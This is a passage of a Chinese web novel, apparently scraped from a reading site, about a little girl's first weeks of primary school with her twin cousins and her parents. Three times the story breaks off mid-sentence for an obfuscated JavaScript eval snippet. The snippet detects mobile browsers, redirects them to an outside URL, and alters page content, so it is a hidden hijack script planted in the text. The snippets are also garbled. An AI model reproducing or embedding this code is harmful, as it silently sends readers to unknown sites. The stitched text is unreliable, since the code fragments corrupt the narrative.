两兄弟顿觉有理,遂灵活休战,齐心协力搬了后排的一个桌子,一左一右坐到了蒋婧旁边。 窗户外望着的两个老父亲见了,感到好笑地摇摇头。 蒋彬:“准得闹的这两个人,也是苦了班主任了。” 总算是全员到齐,班主任走进来整顿座位,见到他们的作案手段,又亲自上手把桌子搬了回去。 “我们的教室就是两个人坐同桌,刚刚好,不然就有一个同学要落单了。” “既然你们俩是双胞胎,那你们俩坐一起。”班主任定论道。 蒋熠:“老师,我要和我妹妹坐,她没有我陪会害怕的!” 班主任忽然弯腰去问蒋婧:“你不和哥哥们坐一起,会害怕吗?” 小女孩看起来都是乖乖软软的,做老师的也难免不受影响,说话的语气也比同男孩子温柔了好几个度。 蒋婧一受到这样的温柔攻势就毫无招架之力,摇摇头,小声地说道:“不害怕。” “对嘛,上小学有什么害怕的。我们是一个互帮互助、共同进步的班集体。刚刚进来陌生是正常的,等过几天熟悉了,你们30个人都会成为很好的朋友。” 无论蒋熠怎么闹、怎么反驳,班主任还是说一不二地指定了两个高个子的双胞胎坐一桌,把个子稍矮的蒋婧和一个女孩配到了一起。 蒋熠和蒋澈两个人还是臣服在了老师的威严之下,接受了安排。 “哥,怎么把婧丫救过来,她现在肯定害怕得要死,说不定都偷偷哭了!” “这个老师不好说话,我们只能见机行事。我们这样,偷偷溜过去看看她,等会再回来。” 班主任在黑板上写几个字的时间,一转头,就看到两个小男生跪爬在过道上往前匍匐行进。 她嗤笑了下,拍了拍讲桌,声音响亮:“你们俩干什么呢?上课了,赶快回到位置上坐好!下课时间你们才可以自由活动。” “蒋熠蒋澈是吧?很不错,今天开学第一天,老师最先记住的就是你们俩。” 他们又被灰溜溜地驱回到座位上。 蒋熠狠狠一拍额头,不甘地说道:“我好失败,我竟然保护不了我的妹妹。” “哥,你再说一个计划,我们重新拯救她。” 蒋澈却是端正地坐好,跟着老师的指示翻开插画版的新生手册。 蒋熠:? “老师刚刚说了,下课就可以自由活动,不用再计划了。” 这会儿摸透了规律,蒋澈不再跟着胡闹,他看到前面几排的蒋婧小巧可人的背影,牵挂地投去目光,在她偶尔侧头的时候,看到她因为老师的笑话弯起嘴角。 “阿婧好像也没有很害怕,等会自由活动的时候,我们再去找她。” 45.第45章 上午放学,孩子们被要求按照秩序两两站好,齐行走到校门口的班级整队处,再由家长接走。 蒋婧和同桌站在第一排,跟在举着班牌的老师后面。 她时不时就回头看——在队伍的最后,在教室门外等了一上午的爸爸就跟在那,笑着朝她挥挥手。 到校门口,班主任说道:“一个一个来,看到家长的同学举手,让家长来我这的表格上打个钩才可以走哦!” 蒋婧一边仰着头去看爸爸,一边高举着手朝老师示意,却淹没在其他叽叽喳喳喊着的其他同学的话语中。 “老师我看到了!”“老师那是我妈妈”“老师我的名字在这!”“老师我先举的手!”“老师老师我走了!” 班主任应接不暇地对付着这些小家伙,扯了嗓子维持秩序,并没有发现一边默默举了好久都没得到关注的蒋婧。 蒋婧举着手,急得跳了好几下,眼里控制不住地蓄了眼泪。 前面拥了一堆家长和孩子,蒋源无法横穿过去,远远望着女儿哭,同样心急如焚。 前面的家长纷纷把孩子接走后,才空出了场地。 班主任歇了口气,终于看到她举起的小手。 “哎哟小同学,你怎么还哭了。别哭啊,你的家长在哪?” 蒋婧抹掉眼泪,抬手指了指走过来爸爸。 这个小孩给她的印象是害羞内向,似乎心里还比较敏感。班主任把表递过去给家长签字,然后趁着这间隙弯腰对蒋婧说道:“小同学,没关系的,老师总会看到你的,答应老师下次不哭了好不好?” 蒋婧盯着这个还很陌生的老师,怯怯地点点头,跑过去牵住了爸爸。 蒋源对这个接娃秩序感到很不满意,对班主任提议道:“张老师,是否可以按照名单,念出孩子名字的同时让家长举手,和孩子指认,这样就不会造成今天这样混乱的现象。” 班主任从善如流地点点头,忙着看其他孩子,职业性假笑道:“好的这位家长,您别担心,开学第一天肯定有很多要磨合调整的地方,您的建议我和副班都会回去商量采纳的。” 蒋源得到回复,这才牵着闺女离开。 小学是按照片区划分的,离三伯的家只有一条街的距离,他们便一起走路过去。 就是这几步路,蒋源还是舍不得闺女走,将她抱了起来。 “婧儿,你告诉爸爸,刚刚哭鼻子,是不是因为老师没看到你。没关系的嘛,其他小朋友被接走了,你就会被看到了,我们只是多等一下而已。” 蒋婧摇摇头,说道:“我没有因为这个哭。” 蒋源纳闷:“哦?那是为什么哭?” “因为我担心你,爸爸,我不想你等太久。” 蒋源蓦地停住了脚步,些许怔愣地看向女儿,心里像是有一阵暖流淌过。 “爸爸没有等太久,相反,是爸爸不想你等太久。” “可是你今天都在教室门外面等了很久,我上课的时候都看到了。”蒋婧说道,小脑袋里想着风吹日晒的辛苦,又说道:“爸爸,你以后不要上课的时候来等我,我们排队的时候你来就可以了。” “我不要你等很久,这样我会心疼的。” 蒋源内心五味杂陈,动容地抱紧了她小小的身子,亲亲她的脸蛋说道:“爸爸被婧儿心疼,觉得好幸福。” * 中午吃完午饭,蒋彬和蒋源便到书房去商量公事,常蕙安排三小只去睡午觉。 深知自己儿子德性,她想都不想地拒绝了蒋熠要和妹妹一起睡的请求。 蒋熠简直要发疯:“在学校老师不让我和她坐一起,回来你还不让我和她睡一起,你们虐待我!” “呵,不让你和妹妹睡就是虐待你了,你好大的地位。滚自己床上去,别让我拿衣架抽你。” “妈!” “别喊我妈,喊得我心烦。” 蒋熠于是摆出一个厌世脸:“阿姨,我要和蒋婧一起睡午觉。” 常蕙怒火攻心,直接拿了枕头去打他屁股,把他赶回到房间。 “阿澈小子,不准偷偷看书啊,好好睡午觉。”常蕙给他盖好被子,又走到蒋熠的床边。 “还有你,阿熠小子,你现在可是小学生了,小学生是要学习的,不像幼儿园那样每天嘻嘻哈哈就是玩,你不好好睡午觉,下午就会打瞌睡,知道不知道?” “知道了!”蒋熠高叹一口气,在自己的床躺下。 蒋澈在妈妈走前,问道:“妈妈,是不是以后的每个中午,阿婧妹妹都会和我们一起回家?” 常蕙看破他的小心思,笑着点点他的额头,说道:“是,开心了吧?这儿离你四叔家太远了,早上还好说,中午来回太费时间了,所以就让她来我们家午休。” 听到这个消息,蒋熠的心情乌云转天晴:“太好了!那总有一天我可以和她睡,我哥说了,为达目的不可急于一时。” 常蕙戏谑地刮了一记眼风过来。 “好了啊,赶快睡觉,等会我来叫你们起床。” 她关上两个儿子的房门,回到了对门专门给蒋婧准备的女儿房。 “怎么还没睡呐?” 蒋婧正躺在床上玩着小玩偶,见到人回来了,乖巧地喊道:“三伯母,我在等你一起。” 常蕙喜笑颜开地“哎”了一声,翻身上床抱住香香软软的小侄女,享受地感叹道:“还是有个小闺女好啊~” 蒋婧也抱住她,目光落在带顶棚的古典公主床上方如云霞般的层层叠叠的香槟粉真丝幔帐,说道:“三伯母,这个房间好漂亮,像动画片里的公主住的一样。” 再往上,巨大的水晶吊灯如一朵盛开的粉色玫瑰,从穹顶垂落,在白日里也仿佛会散发出光芒。 床的左侧是塞满了奢侈品童装、配饰的衣帽间和独立的奢华浴室,右侧是铺了天鹅绒地毯的装潢温馨的阅读区与游戏区,布置了丝绒材质的套式沙发、宽大的桃木书桌和一个大书架,上面摆满了精装童话书与限量版玩具。 “你喜欢吗?” “喜欢。” “喜欢就好,三伯母和你三伯给你准备了好久的,就想着你来。以后这也是你的家,你也有自己的房间,想什么时候来住就什么时候来住,想住多久就住多久。” 蒋婧打了个哈欠,声音绵软下来:“好哦三伯母,那我会经常来的。” “好,睡吧睡吧,三伯母在这陪着你。”常蕙温柔地拍着她的背,将她哄入睡。 * 睡了半小时的午觉,三个孩子又被送返学校。 在校门口,蒋彬询问他们:“还知道自己的教室在哪吗?一年级一班,别走错了。” 蒋澈:“我记得路的爸爸,我会带他们不走错的。” 蒋彬赞扬地拍拍他:“行,阿澈小子,那交给你这个带队队长了,进去吧,下午放学见!” 那边蒋婧还在和爸爸抱抱,然后甜甜地亲脸颊吻别,蒋彬艳羡得眼睛都看直了,嗲着声音说道:“阿婧宝宝,三伯父也想拥抱一个说再见~” 蒋婧背着书包也过来和他抱抱。 蒋彬心都化没影了:“哦哟哟,太乖啦崽崽,三伯可爱你了。” “在学校乖乖的啊,放学三伯和爸爸就来接你。” 蒋熠和蒋澈两兄弟并排站在一起,同一个模子刻出来的脸上出现同样无语的表情。 蒋熠:“咦,他的声音好恶心。” 蒋澈:“你非得这样说话吗爸爸?” 蒋彬笑着给了他们一人一个脑瓜敲,又强行把他们俩一起抱了一下,推着他们:“好了好了,快进去,待会迟到了。” 三个人高低高的身影慢悠悠地往里面前行,蒋彬把这一可爱的一幕拍摄下来,丢到了家族大群里,给一直叫唤着更新孙女动态的二老看。 从校门口走到教室的路上,蒋熠眉飞色舞地和蒋婧说着他们的计划。 “婧丫,我哥说了,如果一次只能坐两个人,我们两个就轮流和你坐。” “比起两个人都不能和你做同桌,我更能接受一人坐一次。” 蒋婧心里也想和他们坐在一起, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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蒋婧摇摇头,不知道这有什么值得拿出来说的。 “我们还不认识呢,我们今天都没有说过话,妈妈。” 程与英和蒋源担心地对视一眼,又问道:“那你想不想和她做朋友呀?” 蒋婧低下了头:“可是我不知道要怎么和她说话。” 蒋源暗示妻子稍安勿躁,摸摸蒋婧的脑袋说道:“没关系的,交朋友是个循序渐进的过程,也许之后几天你们就能说上话了,别担心。” 回到家,蒋婧就撒欢似的要找蒋向恒和蒋怀谦玩,结果被妈妈告知,哥哥们要上晚自习,要很晚才回来。 她一时感到很难过,疑惑地问道:“什么是晚自习?” “就是晚上也要上课呀,就像你升小学了,要开始上课一样,哥哥们升中学了,也要开始上晚自习了。” 蒋婧杵着脸,忧郁地在沙发上坐下:“大家都变了,没有人陪我玩了,我不喜欢升学了。” “哥哥们不在,妈妈在呀,妈妈带你去做小蛋糕,好不好?等哥哥们晚上回来,我们一起开party庆祝。”程与英怜爱地过来捏捏她的脸,示意她牵住自己的手。 蒋婧牵住妈妈的手,跟着她进了纤尘不染的明亮厨房,问道:“我都不高兴上学,为什么还要庆祝?” 程与英清点着做蛋糕的材料,温婉一笑,说道:“是要庆祝你们又长大了一步呀,长大会有开心,也会有不开心,可是不管开心还是不开心,这些经历都会让你的生活更充实、更丰富,所以才要庆祝呀。” 蒋婧似懂非懂,软乎乎地发问:“你是说,我今天可能不高兴,但是明天可能就会高兴了吗?” 程与英笑容更大了,宠爱地点点头:“这样说也没错。妈妈相信你明天肯定会比今天更开心的,是不是?” 蒋婧思索了一下,又好像打起了精神。 “是,我明天肯定会比今天更开心!” 46.第46章 适应了几天,三个孩子很快对一年级的学校生活熟悉起来。 每一天最开心的事,莫过于课间的时候,他们一起去探险解锁校园的各个角落,一直玩到上课铃响了,才极速冲回教室。然后三个人挤在门口,由蒋熠拉着大嗓门喊报告。 一次两次倒也没什么,但三番五次都是这样,甚至出现课都上了十分钟才过来的情况,班主任不由得严厉地在课堂上批评他们:“距离上课铃响都过去多久了,我课都讲了十分钟了,上次我是不是说过让你们注意课间休息的时间?” 蒋熠:“老师,我们打铃就回来了,就是路上有点远,没赶得及。我妹妹小,不能拉着她跑太快的。” “这些都不是理由,说到底就是没有时间意识。下次还迟到吗?” 蒋澈:“老师,我们下次肯定不会再迟到了。” 在黑板上写着字的班主任扭头看了他们一眼,点蒋婧:“你呢,蒋婧,你什么表示?” 蒋婧小嘴巴嗫嚅了半天,没说出话,双手紧张地交叠在一起。 她觉得老师说话的语气好可怕... 蒋澈拉住她的手腕把她往自己身后藏,挡住老师的视线说道:“老师,是我们拉着她出去玩的,她本来不想去的。她是个乖孩子,你别说她。” 蒋熠跟着点头,附和:“就是老师,你凶我们就好了,别凶我妹妹。” 班主任本是没有生气的,批评两句就打算让这事过去。他俩这一唱一和,倒让她觉得自己倒不是个人了。 她只是严格,哪里凶了?这群熊孩子怎么能净干些添油加醋的事儿,还嫌家长找她理论找得不够吗。 “老师需要的是认错态度,不是互相包庇。行了,你们三个人,在门口罚站五分钟。” 蒋婧人生第一次被罚,情绪有些崩溃,立马泪失禁地红了眼。又顾及着在全班人面前被看着,努力地憋着,像个河豚一样鼓起了脸颊,屏着呜咽声,胸膛上下轻微地起伏着。 蒋熠捏捏她的手,小声地安慰:“别哭,婧丫,就五分钟,很快的,我们马上就能回去坐下了。” “我给你挡住了,你悄悄哭,没关系的,阿婧。”蒋澈更完整地把她挡在了自己身后,不让班上的同学看她,也转身说道。 情绪的冲击就是那么一会儿,她很快就平复下来,用衣袖擦干眼泪,抬头看着噙着抹吊儿郎当的笑的蒋熠,噘着嘴问道:“你笑什么?” “我觉得我们一起被老师罚站,我还挺开心的。” 蒋澈不留情面地插刀:“是因为你开学4天已经被罚站了7次,今天终于有人陪你了吗?” 他这个弟弟天生好动,精力充沛,鬼点子多,又不服管教,上课开小差讲小话、爱提问些无厘头的问题打断老师上课、体育课上全场控球不给别人玩气得同学告状、站队集合不老实非要跑到第一排…… 班主任估计已经把他列为全班头号“皮猴子”,每节课都在严加盯视他。 蒋熠却是无所谓地摇摇头:“对啊,今天有你们陪我罚站,我就开心。” * 很长一段时间,蒋婧都把罚站看成是最重的惩罚,对班主任充满了畏惧心理,打定决心不会再犯被罚站的事情了,结果还是摔在了爸爸手里。 那几天刚好遇上两个哥哥去外地参加研学活动、妈妈出差,家里就只有爸爸和她两个人。 蒋源和程与英都不习惯私人空间被打扰,家里的佣人都住在百米外的单独楼栋,来主楼的工作也是讲究在不打扰主人家的情况下神不知鬼不觉地完成。 又恰好前一天,管家还特意询问了一句,是否需要在第二天早上来叫醒他们。 蒋源拒绝了,回复是:“那天我有个时差会议,凌晨4点才能结束,我就不睡了,两个小时后我去叫她就行了。” 管家给予尊重,也就没有将早餐唤醒服务纳入日程。 晚上蒋婧抱着自己的毛绒小玩偶爬上了爸爸妈妈的床。蒋源把女儿哄睡着,跟着眯了三个小时后,起身到书房开视频会议。结束后困意难当,又返回床上抱着闺女继续睡下了。 这一觉醒来,天光大亮,他一看床头柜上的时钟,暗道了一声糟糕。 已经八点了,完全没有听到闹钟响是怎么回事。 他温和地叫醒闺女,假装无事发生,仍旧按照平日里的节奏带着她洗漱、吃早餐。 “小小书包自己背,高高兴兴上学校~”蒋婧起初心情洋溢,刷牙的时候还哼着纪律歌,直到戴上了自己的小手表。 她虽然还不会看时钟,但儿童手表上的数字时间却是能看懂的。 8:30开始第一节课,现在已经8:20了! 一霎时,蒋婧感到天都塌了。 她泣不成声:“怎么办啊爸爸,老师说了,要有时间意识,不可以迟到的。” “之前有一个同学迟到了,他就被罚站在门口,站了好久好久。” 蒋婧一想到又要被罚站,这次还是只有她一个人,就觉得害怕得心脏都跳得发慌。 “我不想去学校了爸爸,我害怕....”临到出发,她十分抗拒地在原地跺着脚,把脸哭成小花猫,死活不肯出门。 蒋源直接把她扛起来,先抱出门上了车,到了车上才尽心安抚她:“怎么能害怕就不去呢,你今天得上学的呀。” 被强行抱上车前往学校,蒋婧又开始生爸爸的闷气,一边哭一边控诉:“你是不是不爱我了爸爸?我都说了我不要去,我不要去上学呜呜呜,我不想被罚站……” “爸爸怎么可能不爱你,宝宝。爸爸是想告诉你,做人要有担当,如果我们做错了事,就要有承担后果的勇气和责任心,而不是当一个小逃兵,这样是解决不了问题的。” 她听进去了,声音还是可怜兮兮的,透着股筋疲力尽的苍凉:“可是只有我一个人罚站,全班都看着我,老师也看着我,我会好难过好难过的。” “那爸爸肯定不会让你好难过好难过的。” 蒋源亲亲她,到了学校后,和校卫保安说明情况,登记后进去。 正是上课时间,校园里安静得只剩道路上的落叶被风卷起来簌簌的声音,偶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16598920|181056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尔传来孩子们朗朗的读书声。 一年级一班的教室,班主任的第一节语文课已经快到尾声。 蒋婧牵着爸爸的手,好不容易平静下来的情绪又波动起来,她无助地仰着头,说道:“爸爸,迟到要说报告的,我害怕...” 忽然闯进一个井然有序的课堂氛围,接受那么多的注目礼,对她来说,就好像一场无声的酷刑。 “那爸爸陪你一起喊,这样你敢不敢呢?快到门口的时候,爸爸就数三二一,最后一下,我们就一起说报告,这样可不可以?” 蒋婧思考了一下,觉得还可以接受,勉为其难地点点头。 他们一起走到教室门口,蒋婧听着爸爸的口令,在最后一下之后,颤颤巍巍地喊出了一声弱弱的“报告。” 班主任其实提前就已经收到了家长发送的请假短信,没有强行以家长的逻辑来要求给孩子破例,给老师管理造成为难的困境,她对着家长印象挺好的,觉着是个懂教育的爸爸。 按照短信的内容,班主任配合地说道:“蒋婧同学,我们的班规是迟到了就要罚站十分钟的,那你去外面罚站到下课再进来吧。” 蒋婧鼻子酸酸的,默默点点头,背着小书包走到了教室外,背对窗户开始罚站。 她已经感受到了同学们朝她投来的目光,心里觉得很丢脸。 蒋源走过来,揉揉她的脑袋,把她的书包挎到了自己身上。 “爸爸,你还不去上班吗?” “爸爸陪你一起罚站结束再回去。” 蒋婧眨眨眼睛,原本充斥了落寞委屈的眼睛重新亮起欣喜的光。 秋日的暖阳洒落下来,校园里树叶纷纷变黄,秋色浓重,风也吹拂得舒爽和煦。 高大的身影和小小的身影伫立在教室门口,也成了一道独特的风景线。 蒋婧谨记着罚站不能说话,硬是忍到了下课铃响。 老师拿着保温杯和课本出来,笑着说道:“好了,蒋婧,进去吧,下次不要迟到了。” 她像木头人被解冻了一样,朝老师点点头,又回头和爸爸乐呵呵地一笑,看起来没有被小小的罚站给打败。 把爸爸送出教学楼,蒋婧牵住他的手,仰头问道:“爸爸,你为什么对我这么好呀?” 蒋源心下软的不可思议,半蹲下来,抱抱她:“因为你是爸爸最爱的宝贝女儿啊,爸爸对你好,不需要任何理由。” “爸爸今天让你迟到了,爸爸要对你说‘对不起’。” “没关系,爸爸,我已经不害怕了。” 她的眼睛弯成小月牙,嘴角的梨涡显现出来,笑容很甜。 “要是我以后还迟到,我也不会害怕了。” “为什么呀?这么快就变得这么勇敢了?” “因为,打报告也没有很难,罚站也没有很累。但是,如果我做了错事,只想逃跑,就不是一个好小孩。” 蒋源震惊于她的懂事,露出一个欣慰的笑容,骄傲地亲亲她的脸颊,说道:“你太棒了婧儿,在爸爸心目中,你是全世界最好的小孩!” 47.第47章 几天后,班主任在课堂上提了一嘴说下周就要换座位了,蒋熠和蒋澈不约而同地开心笑起来,猜拳决定了谁先和妹妹坐半个月。 蒋熠胜出,心里的激动克制不住一分钟,一下课就奔到了老师面前。 “张老师,我下周要和我妹妹坐,你把我们俩的名字写在一起好吧?” 这孩子虽然调皮捣蛋,但人却热情开朗。丝毫不怕老师的特点,像现在这样敢于和老师聊天是优点,不听话的时候就又要另说了。 不过此刻班主任倒是对他的慈爱占了上风。 “你保证不打扰蒋婧学习?” “我哪会打扰她啊,不瞒你说,老师,我打包票,你这辈子就不会再见到像我这样体贴温柔的哥哥了,我的理想之一就是给蒋婧当一个好哥哥。” 许是当真是心情太好,他的普通话逐渐掺杂了些京腔的豪迈调调,听起来有些可爱的喜感。 班主任忍不住笑了,又说道:“成,等下周一换座位的时候,你问问蒋婧意见,她同意了我就给你们换。” 刚刚入学没多久,正是让同学们相互熟悉的阶段。除去凑到一起尤其调皮闹事的孩子,其他同学只要是有换座意向的,主动来和班主任说了,班主任都选择采纳。 蒋婧听到好几对同学都手牵手去找老师说还想再一起坐,露出羡慕的表情。 她杵着脸,收回视线,又悄悄用余光看了眼自己的同桌。 这么多天过去了,她和同桌一直没有说过话。早上来上学,她们总是沉默地坐下,课间各玩各的,放学排队也沉默地站在一起,等待解散后被爸爸妈妈领走。 蒋婧好多次想说什么,但又不知道说什么,就这样和同样内向的同桌,竟然保持了这么久无话可说的状态。 晚上回家的时候,蒋婧很是忧愁地叹了口气。 蒋源问她,听她讲出了自己的小烦恼。 “就是,就是”,她大眼睛扑闪扑闪的,表情很是纠结:“老师说我们马上要换座位了,可是我还没有和我的同桌说过话。我都会有一点点伤心。” 蒋源知道年幼的小朋友往往是通过自然的互动机会结识的,只是没想到两个内向的孩子凑到一起,这么久了还没能说上话。 他一时间被小朋友的交往世界给逗笑了。 “那爸爸给你出个主意,怎么样?” 蒋婧歪头:“什么主意?” 蒋源把自己的想法给女儿娓娓道来。 * 第二天,蒋婧背着书包来到学校时,她的同桌已经坐下了,正在安静地翻看着从教室图书角里拿来的绘本。 那本绘本蒋婧早就看过。 她觉得很惊喜,心里想: 不是所有人都喜欢看小鹿和小兔子比谁的爱更多的故事的,蒋熠就不喜欢,阿澈哥哥是因为她喜欢才喜欢的。 她的同桌本来就喜欢,那她们肯定能成为好朋友。 跟在她后面的蒋熠和蒋澈都是怂恿地看了她一眼,走到后排坐下,当起了观众。 蒋婧背着书包,悄无声息地在自己的座位坐下来,慢悠悠地把书包放好,拿出笔盒、课本、手摇卷笔机、水杯,在课桌上整齐地摆放好,接着又把昨天的作业交到小组长那里。 直到没有事可以做了,蒋婧心里开始打起很小的鼓声,在脑海里准备了很久的话一直回荡着,紧张地屏住了呼吸。 再复习一遍爸爸给自己准备的台词。 你好,哦不,你好是第一次见面才说的,pass。 那就说同桌好,嗯,这个称呼不错。 同桌好,我从家里带了好吃的甜甜圈,分你吃一个。 然后她就会像爸爸说的一样,收下甜甜圈,她们就可以一起讨论甜甜圈有多么好吃。 爸爸说,这样她们就能不断开启新的话题,成为朋友了。 她紧张兮兮地又默念了几遍台词,握紧了两个拳头。 背后严密关注的两个人凑到一起。 蒋澈:“她终于要说了,加油啊阿婧” 蒋熠:“说啊,不是,她咋又坐回去了?” 蒋澈:“别急,她在翻书包了,她肯定马上就要把甜甜圈拿出来了。” 蒋熠:“不,咋又没动静了,她在干嘛?” 蒋婧一会儿把背挺直,有话要说一般微微侧过身,一会儿又像个小蘑菇似的把身体蜷下来。 漫长的前摇准备终于迎来了最后的时刻,蒋婧刚刚发出一个“同……”字—— 上课铃响了。 她抿起嘴,看着埋头看书的同桌,失落地轻轻转回了头。 悬念破灭,后面的蒋熠双手握拳上下一敲,像绷紧的线猛然一断似的做出一个大叹气:“唉!” 下课之后,三个人在走道上碰头。 蒋澈:“你要现在去送吗?” 蒋婧摇摇头:“我还没有做好准备,我下个课间把甜甜圈送给她。” 蒋熠不明白为什么送个甜甜圈她也这样瞻前顾后的,但又觉得如果是蒋婧的话,她怎么样都是好的,做什么都是合情合理的。 “你这么紧张的话,要不我帮你给她。” 蒋澈给了弟弟一拳:“是她交朋友,又不是你交朋友。” 蒋婧点点头:“对呀,我要自己送给她的。” * 没料到的是,第一个课间她推辞掉,第二个课间大家要去操场做操,第三个课间同桌去洗手间了。 一个早上就这样过去了。 她揣着心事,午休都没休息好,决定下午一定要把甜甜圈给她。 结果来到了学校,第一节课前还是没能说出口,第二课间眼看再不说就要放学了,她从书包里艰难地拿出甜甜圈,却发现甜甜圈不知道怎么的,已经变成了扁扁的一块。 上面的淋面和草莓冻干粒都破裂掉成了碎渣。 她忽然感受到了一种被抽空的难受。 有些如释重负,终于不用再反复鼓起勇气把甜甜圈送出去,又有些遗憾,那些没有契机再说出口的话。 蒋婧默默地把甜甜圈塞回了书包里。 那好吧,没事的,她也没有一定要和同桌做朋友,她还有阿熠和阿澈哥哥陪她玩儿。 这样强行处理着情绪,她不怎么能集中注意力地度过了最后一节课。 收拾书包的时候,蒋婧发现她的同桌明明已经背上了书包,却一直没有像平常一样先走到门口去站队。 她们不期然地对上了视线。 从体验上讲有些延宕的几秒钟过去后,同桌忽然带着种孤注一掷的表情说:“蒋婧,我有一个东西要给你。” 她把藏在外套兜里的提线木偶递过来的动作一帧一帧清晰地印入眼中。 蒋婧发愣地接过,好一会儿才想起来仔细去看看手里的礼物。 木偶的边缘有些磨损的旧态,是一个手掌大小的带着魔术帽的小兔子,提着它的耳朵,拉一拉线,它的手脚就会动起来。 她一瞬间高兴得好像都不会说话了,只会傻傻地看着同桌。 同桌避开了她明亮得出奇、漂亮得如水晶一般的大眼睛,很是羞怯地说道:“你是不是很喜欢小兔子,因为你的笔袋是小兔子,橡皮擦是小兔子,书包上挂着一堆小兔子,衣服的帽子也是小兔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16605297|181056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子耳朵。” 蒋婧看着她,安静地点点头。 “嗯...就是我想你可能很喜欢小兔子,我就把这个送你了。这是我的玩具里唯一的一只小兔子。” “这是我们最后一天做同桌,虽然我们没有说过话,但是,我很喜欢你的,蒋婧。我觉得你也很像一只可爱的小兔子。” “我们可以做朋友吗?” 蒋婧不知道为什么,觉得自己有些想哭,但是又不是难过地想哭,是很高兴的想哭。 “当然可以啦,原娴,其实我,我也很想和你做朋友的!” 这一天,她们第一次集队回家的时候,一起手牵手走出了校园。 蒋婧在路上说起自己想送又没能送出的甜甜圈,得到了同桌强烈想要看一看的请求。 她于是从书包里拿出那个被压扁的甜甜圈,不好意思地递给原娴。 “等我星期一来的时候,我会再给你带一个甜甜圈的,原娴。我会保护好它,不让它被压扁的,这样你就能吃到一个好甜甜圈了。” 原娴接过那个甜甜圈,在路上就打开咬了一口,又撕了一块喂到蒋婧的嘴里。 “为什么压扁的甜甜圈就是好的甜甜圈了,我觉得它这样很好吃。压扁了就不吃的话,那不是很浪费。你应该早点拿给我的。” “真的吗?你喜欢吗?” “喜欢啊,谢谢你蒋婧,你是第一个送我甜甜圈的人。” 蒋婧脸上飘上了一抹幸福的红晕,在分别的时候,眨着亮晶晶的眼睛,笑着说道:“原娴,那我们现在是好朋友了吗?” “嗯!” 她们俩在人群里笑着对视了很久,还带着一些初初相识的腼腆,像两只小蜗牛忽然碰触到对待的触角又急急收回,怀念着将将流逝过去的交流的悸动时间。 原娴朝她挥挥手:“再见,蒋婧,星期一的时候,你不要忘记了,我们是朋友了。” “我不会的,原娴。再见!”蒋婧也朝她挥挥手,心情澎湃地蹦蹦跳跳着去牵住爸爸妈妈的手。 自上小学后,蒋源和程与英还是第一次看女儿这么高兴地放学。 程与英面对女儿治愈的笑容也不由得跟着笑起来,母爱泛滥地抱住她亲亲,问道:“小兔崽子在学校遇到什么开心事了?笑的这么灿烂。” 蒋源却是已然猜到,宠爱地看着闺女。 “妈妈,我今天在学校交到了一个好朋友,她的名字叫原娴,我们本来是同桌的,但是我们现在不是了,因为下一周我们就要换新同桌了。不过虽然我们不是同桌了,我们从今天开始就是好朋友了。我们刚刚才做的这个约定。” 爸爸妈妈一左一右牵着她的手,一家人漫步在学校侧边的绿荫大道上,听她说着话。 程与英替她高兴,称赞道:“太好了,宝宝,妈妈为你高兴,我们婧儿在学校终于交到了好朋友。” 蒋源:“是爸爸的计划生效了吗?” 蒋婧嬉笑着摇摇头:“不是爸爸,我本来都不想送了,但是原娴先和我说话了。” “我觉得我的朋友是一个比我勇敢的人。我都没有先把甜甜圈给她。” 蒋源拎着她的手,借力给她蹦蹦跳跳地走。 “爸爸不这样觉得。爸爸觉得,你和你的朋友都是勇敢的人,她想送你小玩具,你想送她甜甜圈,你们都为交到一个好朋友在背后做出了努力。” 蒋婧仰起头,眼睛里盛着的光,几乎要溢出来。 “那周末的时候,你们能带我去逛商店吗,我也想给我的朋友送小玩具。” “好啊,我们一起去给你的朋友挑礼物。” 48.第48章 和蒋婧坐了同桌之后,班主任发现蒋熠这个班上的混世小魔王居然变得乖了起来。 上语数英要是像个小喇叭不停地大声说话,影响课堂氛围,蒋婧鼓着脸生气地看他一眼,他就会息音。 以往一到值日打扫公共园地就扛着扫帚和同学打闹吆喝,指使别人帮自己扫地的人,倒是反了过来,好声好气地让妹妹坐着休息,自己三两下就把他们的打扫份额完成了。 美术课上他总是对完成的手工作业不屑一顾,做完就到处弹射,对周边的同学进行恶作剧,结果这一两周的美术课,美术老师说他每一节都安安静静地帮助同桌干活,又是递剪刀、又是洗画笔、又是收拾垃圾的,简直是个模范好哥哥。 音乐课上也不埋头苦睡或是胡乱鬼吼了,撑着个脑袋不知道在高兴什么,盯着同桌唱歌,嘴都快咧到耳朵边了。 放学回家的时候,更是一改之前吊儿郎当不好好走路的样子,牵着蒋婧的手,安分地站在队伍里,不吵也不闹。 班主任深觉这就是乖孩子对调皮孩子产生积极影响的有效案例,对自己的班级安排产生了良好的成就感。 班主任倒是省心了,蒋婧却觉得心好累。 蒋熠像块小熊牛皮糖,无时无刻不想要和她说话,想要她把注意力分给他。 